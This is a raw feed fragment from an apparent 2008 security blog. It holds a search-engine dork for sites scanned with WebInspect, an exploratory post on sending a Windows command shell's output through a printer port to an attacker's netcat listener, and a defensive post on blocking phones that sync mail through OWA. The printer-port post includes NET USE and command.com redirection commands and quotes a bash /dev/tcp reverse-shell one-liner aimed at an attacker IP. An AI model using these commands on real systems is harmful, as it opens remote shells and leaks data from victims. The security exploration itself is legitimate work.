href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4304907307748228801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4304907307748228801'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/05/update-blocking-unauthorized-devices.html' title='Update: Blocking Unauthorized Devices from accessing OWA'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-4095627863326647689</id><published>2008-05-05T09:21:00.003-04:00</published><updated>2008-05-05T09:33:38.127-04:00</updated><title type='text'>Googledork - Spidynamics customers</title><content type='html'>Here is a fun googledork.  It finds web pages which have been scanned with Spidynamics Webinspect with the default values.   Its an interesting customer list.  WorldBank, American Idol,  RSA Security Conference,  Oracle, NSA, etc.  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Googledork&lt;/div&gt;&lt;div&gt;http://www.google.com/search?q=value777.com&amp;amp;hl=en&amp;amp;start=10&amp;amp;sa=N&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Example:&lt;div&gt;http://www.americanidol.com/myidol/blogs/view/?un=marniesl&amp;amp;eid=237936&amp;amp;page=3&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-4095627863326647689?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4095627863326647689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4095627863326647689'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/05/googledork-spydynamics-customers.html' title='Googledork - Spidynamics customers'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-4183021805665638030</id><published>2008-04-28T21:08:00.025-04:00</published><updated>2008-08-29T15:00:46.055-04:00</updated><title type='text'>Shoveling windows shell over printer ports!?</title><content type='html'>Intrigued by the recent discussion of shoveling shells with native commands in linux, I wondered how you might do that in windows.    However, I've found  the lack of a /dev/tcp equivalent device makes IO redirection to the network a bit difficult to overcome.    No answer yet, but here is an approach that may work. Good old COMMAND.COM might hold the answer.  Lets take a look at the options.   &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;C:\WINDOWS&gt;command.com /?&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Starts a new instance of the MS-DOS command interpreter.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;COMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  [drive:]path    Specifies the directory containing COMMAND.COM file.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  device          Specifies the device to use for command input and output.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  /E:nnnnn        Sets the initial environment size to nnnnn bytes.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  /P              Makes the new command interpreter permanent (can't exit).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  /C string       Carries out the command specified by string, and then stops.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  /MSG            Specifies that all error messages be stored in memory. You&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                  need to specify /P with this switch.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style=";font-family:'courier new';font-size:13;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style=";font-family:'courier new';font-size:13;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;DEVICE to use for INPUT OUTPUT!!! That sounds promising. Lets setup a Bidirectional LPT port pointing to a TCPIP address and BAMM!!! Shoveled a shell.   &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Of course for it to work we will have to be able to &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia;"&gt;completely&lt;/span&gt; setup the printer from the command line.  That shouldn't be to hard PRNPORT.VBS, PRNMNGR.VBS and NET SHARE should get the printer setup and shared.  All of which are part of the standard XP installation.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Here is what PRNMNGR looks like to list the print queues.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;C:\WINDOWS\system32&gt;cscript prnmngr.vbs -l&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Microsoft (R) Windows &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Script Host Version 5.6&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Copyright (C) Microsoft&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt; Corporation 1996-2001. All rights reserved.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Server name&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Printer name IPLOC&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Share name IPt&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Driver name HP LaserJet 4 Plus&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Port name IPLOC&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Comment Standard TCPIP port pointing to Attackers Netcat Listener &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Location&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Print processor WinPrint&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Data type RAW&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Parameters&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Attributes 2634&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Priority 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Default priority 0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Status Unknown&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Average pages per minute 0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Setup the printer and then capture the LPT  port with NET USE&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;NET USE LPT1 \\127.0.0.1\[SHARENAME]&lt;sharename&gt;&lt;sharename&gt;&lt;printersharename&gt;&lt;/printersharename&gt;&lt;/sharename&gt;&lt;/sharename&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;REVIEW:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;So  command.com has IO redirection to  LPT1.   LPT1 is mapped to shared localhost printer.   The printer has a GENERIC TEXT driver and uses a Bidirectional RAW Standard TCP Printer Port.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;The TCP Port points to the remote NETCAT listener on the port of your choosing.  80 is always good.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;You can now move files to the remote netcat listener via the LPT port like this:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;COPY &lt;filename&gt;  [FILENAME] LPT1&lt;/filename&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;or have a netcat like Chat session&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;COPY CON LPT1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Hit [CONTROL Z] &lt;control&gt;when done typing the text to send.   But POTENTIALLY coolest of all is the use of the command.com device.&lt;/control&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;command.com LPT1 /c dir&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;will shovel the output through the LPT port to the netcat listener.  This is potentially very useful in a penetration test, but its only one way.   We really want a bidirectional interactive shell.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;So we try "Command.com LPT1", but no such luck.  The output spools, the remote input makes it to the host, but it isn't being processed.  It may be the spooler or the print processor, but somthing is stomping on the communications.   If I configure the printer to not use the spooler I don't get anything.  I'll have to look later.   Here is a print screen that shows a Netcat Listener on a MAC sending commands to the COMMAND.COM listener on the windows machine.  You can see where ethereal captured the text going to the COMMAN.COM Listener!  Pretty close!!!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_wHrCn3UcXN0/SBnVfP-zvjI/AAAAAAAAAA4/3u33tkAg2_g/s1600-h/Picture+3.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_wHrCn3UcXN0/SBnVfP-zvjI/AAAAAAAAAA4/3u33tkAg2_g/s200/Picture+3.jpg" alt="" id="BLOGGER_PHOTO_ID_5195418377991208498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: rgb(85, 26, 139); text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(85, 26, 139); text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;"command.com LPT1 /p dir"  is interesting also.  You get the results shoveled to the remote listener, then an error message about the vdm redirector is also shoveled.  &lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Next Steps:&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;For now I plan to bypass the Windows spooler and setup the printer on the linux host.   The goal is to setup an SMB-&gt;Netcat IO handler on Linux.   It will appear to the windows victim as a shared printer.  Then the only thing to happen on the windows side is "NET USE LPT1 \\&lt;remote&gt;[attacker ip]\[shared netcat listener]&lt;shared&gt;" followed by "command.com LPT1".  Ill look to native commands in linux first to see if I can find some way to share netcat.   It doesn't actually require netcat on the linux side.  Really we are just trying to share STDIO.  I maybe able to do this with just a SAMBA shared printer and replacing the print handler with NETCAT and/or some MKNOD magic.   If I cant find something I'll code something in Ruby using Metasploits prebuilt SMB objects.    Of course, using this technique we lose the ability to pick an arbitrary remote port and have to have SMB access to the client.   I imagine the entire thing could be implemented as a Metasploit framework payload.   &lt;br /&gt;&lt;/shared&gt;&lt;/remote&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;BTW:  My favorite linux favor of this is from Ed Skoudis' presentation on netcat without netcat ... &lt;span class="Apple-style-span" style="font-family: Monaco; font-size: 10px; "&gt;/bin/bash -i &gt; /dev/tcp/attackerip/port of choosing 0&lt;&amp;amp;1 2&gt;&amp;amp;1&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: rgb(85, 26, 139); text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-4183021805665638030?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4183021805665638030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4183021805665638030'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/04/shoveling-windows-shell-over-printer.html' title='Shoveling windows shell over printer ports!?'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_wHrCn3UcXN0/SBnVfP-zvjI/AAAAAAAAAA4/3u33tkAg2_g/s72-c/Picture+3.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-3992850360743168389</id><published>2008-04-22T16:36:00.021-04:00</published><updated>2008-07-25T17:14:26.446-04:00</updated><title type='text'>OWA - A GAPING HOLE IN YOUR FIREWALL</title><content type='html'>&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;div&gt;Blocking Personal Blackberrys storing corporate emails&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;O&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;ne of the many reason to have a BES (Blackberry Enterprise Server) to protect your corporate email is so you can wipe any blackberry device in the event that it is lost.    These devices often contain sensitive email so password protection, encryption, policy enforcement and remote wipe is well worth the investment in BES.      BES installed, problem solved!   Right?    Check the IIS logs on your Outlook Web Access server.  You may find unauthorized Blackberry and other smart phones are synchronizing email using WEBDAV.    Using OWA they can store corporate emails and you have no way to wipe the data when the devices lost.   This DOES NOT require RPC over HTTP be enabled on your OWA server and its not just blackberrys and smart phones.   Desktop clients such as Entourage can also use WEBDAV to sync email to a home computer.  &lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;No firewall, No antivirus and all those sensitive email on their home machines.   Scared yet?   If this is a problem for you, the only REAL fix is to turn off OWA.  But, that is a tough pill to swallow. Here is a possible alternative.   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Check your IIS logs and you'll see entries like this..&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span"  style="  ;font-family:Verdana;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="  "&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;008-04-22 16:48:25 W3SVC1 127.0.0.1 POST /exchange/username/##emailname##/ - 443 username 127.0.0.1 BWC/Worker/1.0 200 0 0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="  "&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;2008-04-21 13:35:22 W3SVC1 127.0.0.1 BMOVE /exchange/firstname.lastname/Inbox/ - 443 firstname.lastname 127.0.0.1 BWC+Engine+/2.0 207 0 0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Here you can see an unauthorized blackberry copying emails to the handhelds through the Outlook Interface.   The BWC+Engine is the User-Agent used by the Blackberry email client.  You may also have some of these..&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;2008-04-20 23:06:40 W3SVC1 127.0.0.1 POST /Microsoft-Server-ActiveSync Cmd=Get&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;!--StartFragment--&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; ItemEstimate&amp;amp;User=jusername&amp;amp;DeviceId=PLMOx8xxxx0&amp;amp;DeviceType=PalmOneTreoAce&amp;amp;&lt;br /&gt;Log=V4XXX:0AXXXX:0XXXXD0SP:1XXXXXXXH0P 443 username 127.0.0.1 PalmOne-TreoAce/2.01m01 200 0 0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:x-small;"&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;2008-04-20 23:42:13 W3SVC1 127.0.0.1 OPTIONS /Microsoft-Server-ActiveSync User&lt;br /&gt;=username&amp;amp;DeviceId=2F8xxxxxxxxxxx&amp;amp;DeviceType=SmartPhone&amp;amp;&lt;br /&gt;Log=VNAXXX:0XXXXX:0A0XXXXX:0C0XXXXXXXH 443 username 127.0.0.1 MSFT-SPhone/5.2.203 200 0 0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;!--EndFragment--&gt;  &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;I&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;f your goal is to keep personal device from &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;synchronizing over Outlook Web Access you will want to block those also.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;So how to you block specific User-Agent strings on IIS?  Pretty simple in Apache right?  Not so much on IIS.  You may think (as I did) that you can use URLSCAN.  It has this [DenyHeaders] section which allows you to specify a User-Agent.  That doesnt' work.   It will allow you to block any web request that has a User-Agent (Yeah.. All of them), but not a specific User-Agent.  Thank for nothing Microsoft!   So how then?  You can use a third party ISAPI filter that implements Apache Mod Rewrite functionality on IIS.   You can download ISAPI REWRITE from http://www.isapirewrite.com   There is a LITE and a FULL version available for download at the site.   The LITE version is free and it will work for many of the OWA implementations.  Here is the configuration file to use to block User-Agents for Blackberry, PalmTrio, Microsoft Smart Phones, and Avant 